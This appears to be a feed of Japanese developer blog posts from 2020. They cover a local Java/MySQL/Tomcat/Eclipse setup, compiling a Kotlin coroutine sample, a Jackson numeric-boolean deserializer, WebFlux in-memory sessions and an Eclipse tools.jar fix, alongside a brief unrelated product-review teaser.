今回は一般的な開発環境を作ります。
本番のシステムの場合は適切なセキュリティ対策を行うする必要があります。
概要
- Mysql
- ダウンロード
- インストール
- 設定
- Java
- Download
- 展開するフォルダー
- Tomcat
- ダウンロード
- 展開するフォルダー
- IDE
- ダウンロード
- インストール
- 設定など
- テスト
- サーバーにデプロイ
- DBと接続
MYSQL
ダウンロード
https://dev.mysql.com/downloads/installer/
次の画面
インストール手順
そのまま次
次へ
次へ
次へ
次へ
ルートパスワードを設定、次へ
次へ
Execute !
事前に設定されたパスワードを入力し、チェックをクリック。次へ
Executeをクリック
完了
Java
ダウンロード
https://jdk.java.net/java-se-ri/11
ダウンロードしたファイル展開して「ドキュメント」フォルダに移動
Tomcat
ダウンロード
展開して、JDKと同じように「ドキュメント」フォルダに移動し、完了。
IDE
Eclipse
ダウンロード
https://www.eclipse.org/downloads/download.php?file=/oomph/epp/2020-03/R/eclipse-inst-win64.exe
インストール手順
今回WEB系なのでEnterprise Javaを使う必要になります。
JDKの設定
インストールをクリックして、終わったら以下の画面出てきます。
「ドキュメント」フォルダの中に「new_workspace」フォルダを作成し、設定します。
LAUNCHをクリックして以下の画面が現れます。
-「Maven Project」を作成
設定
それでWeb用なMavenプロジェクトを作成完了。
サーバー環境の設定
左にあるメニューから「Server」選んで「Runtime Environment」と「Add...」
先インストールしたTomcatはバージョン9です。
jdkを確認して
先「ドキュメント」フォルダに移動したJDKが設定されているかどうか
じゃなかったら設定し、悶えなければ「Finish」
テスト
Tomcat&Java
Java&Mysql
接続するための追加
https://mvnrepository.com/artifact/mysql/mysql-connector-java/8.0.19
上のリンク以下のページへ、赤いまるの情報をコーピします。
以下のコードも追加してください。
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
接続コード
これからindex.htmlに追加します。
一番上の列には以下のコードを追加してください。<%@ page import="java.sql.*" %>
「<body>」タグの中に以下のコードをコーピ。password のところだけ、事前に設定されたパスワードを変えてください。
<%
Class.forName("com.mysql.cj.jdbc.Driver");
try (Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mysql?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC", "root", "password");) {
System.out.println("connect success");
}catch (Exception e)
{
System.out.println(e);
}%>データベースに接続完了。
- 投稿日:2020-04-01T11:12:02+09:00
Kotlin Coroutineのサンプルをコマンドラインから実行する方法
やりたいこと
みんな最初に実行する以下のコードをコマンドラインでビルドして実行する。
import kotlinx.coroutines.* fun main() { GlobalScope.launch { // launch a new coroutine in background and continue delay(1000L) // non-blocking delay for 1 second (default time unit is ms) println("World!") // print after delay } println("Hello,") // main thread continues while coroutine is delayed Thread.sleep(2000L) // block main thread for 2 seconds to keep JVM alive }前提条件
- MacOS
- Javaインストール済み
- Mavenインストール済み
- 上のソースが
first.kt
という名前でカレントディレクトリにある実施する作業
- kotlinコンパイラのダウンロード
- kotlin coroutineのjarファイルのダウンロード
- ソースコードのコンパイル
- コマンドラインから実行
手順
1 . kotlinコンパイラのダウンロード
公式サイトに手順の記載あり (ここ)
2 . kotlin coroutineのjarファイルのダウンロード
以下のコマンドを実行すると、
カレントディレクトリにkotlinx-coroutines-core-1.3.5.jar
がDLされます。mvn dependency:get -Dartifact=org.jetbrains.kotlinx:kotlinx-coroutines-core:1.3.5 -Ddest=./3 . ソースコードのコンパイル
以下のコマンドを実行すると
カレントディレクトリに first.jar が生成されます。kotlinc -cp kotlinx-coroutines-core-1.3.5.jar first.kt -include-runtime -d first.jar4 . コマンドラインから実行
以下のコマンドを実行
java -cp ./first.jar:./kotlinx-coroutines-core-1.3.5.jar FirstKt
なぜこれをやったか?
理由は以下の3点
- 遊び場 で実行すると
Hello
とWorld
が同時に表示されて微妙だと思ったから- 拡張ライブラリを使ったkotlinのソースをコマンドラインでビルドしてみたかった
- AndroidStudioを立ち上げるのが面倒だった
- 投稿日:2020-04-01T10:42:32+09:00
[jackson]JSONの値「0」「1」をbooleanとして受け取りたい
動機
- JAVA SpringBootを利用したWEBシステム
- JSON文字列を入力として用い、データを保持するオブジェクトに変換する
- JSONにおける「0」の値をfalse、「1」の値をtrueとしてbooleanに変換して受け取りたい。
参考
概要
- JsonDeserializer を継承したデシリアライザクラスを作る
- public static class になる
- @JsonDeserialize(using=作成したデシリアライザクラス.class) で指定する
シリアライズとデリシアライズ
- シリアライズ
- ソフトウェアが扱うオブジェクトを、文字列表現に変換すること。
- オブジェクト→JSON。
- デシリアライズ
- 文字列表現のデータを、ソフトウェアが扱うオブジェクトに変換すること。
- JSON→オブジェクト
サンプルコード
パースしたいJSON
{ "name": "サンプルアイテム", "required": "1" }データオブジェクト
- JSONが解釈、変換されてこのオブジェクトになる
import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import com.fasterxml.jackson.databind.annotation.JsonDeserialize; import lombok.Getter; import lombok.Setter; @Getter @Setter @JsonIgnoreProperties(ignoreUnknown = true) public class SampleItem { private String name; @JsonDeserialize(using=NumericBooleanDeserializer.class) // 下記で作成するデシリアライザクラス private boolean required; // ここは boolean でよい。JSONに該当の値がない場合FALSEになる。 }デシリアライザ
import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.databind.DeserializationContext; import com.fasterxml.jackson.databind.JsonDeserializer; import java.io.IOException; /** * JSON文字列変換時の設定(Boolean)。 * - 0 → false * - 1 → true */ public static class NumericBooleanDeserializer extends JsonDeserializer<Boolean> { @Override public Boolean deserialize(JsonParser parser, DeserializationContext context) throws IOException { return !"0".equals(parser.getText()); } }
- 投稿日:2020-04-01T04:20:59+09:00
WebFluxのセッションを実装してみる
引き続きWebFluxの話です。
今回はWebFluxでのSessionの使い方を紹介します。
なお、ここで紹介するのは最小構成のRedisを使わないインメモリの実装例です。サンプルの環境
- Java 8
- Spring Boot 2.2.6
プロジェクトのビルド構成
Mavenの場合、基本編のビルド構成に以下のdependencyを追加します。
pom.xml〜 省略 〜 <dependency> <groupId>org.springframework.session</groupId> <artifactId>spring-session-core</artifactId> </dependency>Gradleの場合は以下のdependenciesを参考にしてください。
build.gradle〜 省略 〜 dependencies { implementation 'org.springframework.boot:spring-boot-starter-webflux' implementation 'org.springframework.session:spring-session-core' compileOnly 'org.projectlombok:lombok' annotationProcessor 'org.projectlombok:lombok' }セッションを使うための設定
まずWebFluxでセッションを使うためにSessionRepositoryのDIの設定を行います。
InMemorySessionConfig.java@Configuration @EnableSpringWebSession // 1 public class InMemorySessionConfig { @Bean public ReactiveSessionRepository reactiveSessionRepository() { ReactiveMapSessionRepository repository = new ReactiveMapSessionRepository(new ConcurrentHashMap<>()); // 2 repository.setDefaultMaxInactiveInterval(60 * 30); // 3 return repository; } }ポイントはコメントの3点
1.@EnableSpringWebSession
アノテーションを付与しWebSessionの有効化
2.ReactiveSessionRepository
のBean登録
3. セッションの有効期限(秒)の指定 (例では 60秒*10 = 10分)セッションを利用してみる
それでは、実際にセッションを使った簡単なカウンタの実装例を見てみましょう。
CountController.java@RestController public class CountController { @GetMapping("count/{increments}") public Mono<Integer> count(@PathVariable Integer increments, WebSession webSession) { // 1 return Mono.fromSupplier( () -> { Integer total = Optional.ofNullable((Integer) webSession.getAttribute("count")) .map(current -> current + increments) .orElse(0); // 2 webSession.getAttributes().put("count", total); // 3 return total; }); } }WebFluxでセッションにアクセスするには、
WebSession
を使います。
ただし、ServletのHttpSession
のようなフィールドインジェクションは行えないため、以下のような実装になります。
- エンドポイントのメソッド引数に
WebSession
を指定- セッションから現在のカウントを取り出し、あればincrementsを加算し、なければ初期値0をtotalにセット
- 計算結果のtotalをセッションに詰める
以上の実装で、
localhost:8080/count/1
に連続でアクセスするたびに1ずつカウントアップする動作が確認できます。
また、10分間アクセスがなかった場合は、初期値の0に戻ります。ちょっと使いづらい・・・
セッションの値を使いたい場合、ControllerでWebSessionを取得し、後続処理(Serviceなど)へ値を渡していかなければならず、
- Servletの実装のようにSessionScopeのBeanを定義したり、
- 任意のComponentのフィールドやコンストラクタでHttpSessionをDIしたり、
といった使い方ができないので、セッションを扱うComponentの設計には注意が必要です。
(そもそも、SessionScopeやRequestScopeはThreadLocalに依存しているので、WebFluxで同様に扱えないのは仕方がないのかもしれません^^;)
参考
https://docs.spring.io/spring-session/docs/current/reference/html5/#websession
→公式にRedisとWebSessionの連携方法も載っていますので参考まで。
- 投稿日:2020-04-01T03:25:16+09:00
ムーモ(moomo)の口コミや評判は悪い?実際に使用した方の口コミを調べました
ムーモ(moomo)の口コミや評判は悪い?実際に使用した方の口コミを調べました
実際の所どうなのでしょうか?
詳しい内容はこちらです
- 投稿日:2020-04-01T00:26:10+09:00
Could not find tools.jar in the active JRE.となった時の対応方法
- 環境
- Windows10 64it Pro バージョン1903
- Eclipse Version: 2019-12
事象 : Eclipseでクラスを新規作成したら怒られた。
しかも、Eclipseを起動するたびにメッセージが出るようになった。
Could not find 'tools.jar' in the active JRE. Spring Boot Live hovers will not work without it. The JRE you are running Eclipse with is: ...省略...原因 : Eclipseで使用しているのが
tools.jar
のないJREだから
Spring Boot Live hovers
さんがtools.jar
を必要としているのにないから怒られたもよう。
そういえば、Eclipseを新しくしてから何も設定していない・・・Eclipseは何を使って起動しているんだっけ?Eclipseが起動するときに使っているVMを確認する
参考 : Eclipseを動かしているJava VMを確認する方法 | ITSakura
対応 : JDKで起動すように設定する
参考 : Eclipse を起動する Java VM を指定する :Tips & FAQ | arbk-works Blog
以前にインストールしたJDKを見つけたのでそれを使う。
- Eclipseを閉じる
- eclipse.iniを開く(デフォルトでは、eclipse.exeと同じところにeclipse.iniはある)
-vmargs
より前に-vm
の指定を追記して保存- Eclipseを起動してもメッセージが出なくなる
- [ヘルプ] > [Eclipse IDEについて] > [インストール詳細] > [構成]タブ で今一度起動時に使用するVMが変わっていることを確認する
eclipse.ini;...省略... ; ↓追記↓ -vm C:\path\to\jdk1.8.0_241\bin -startup ; ↑追記↑ -vmargs ;...省略...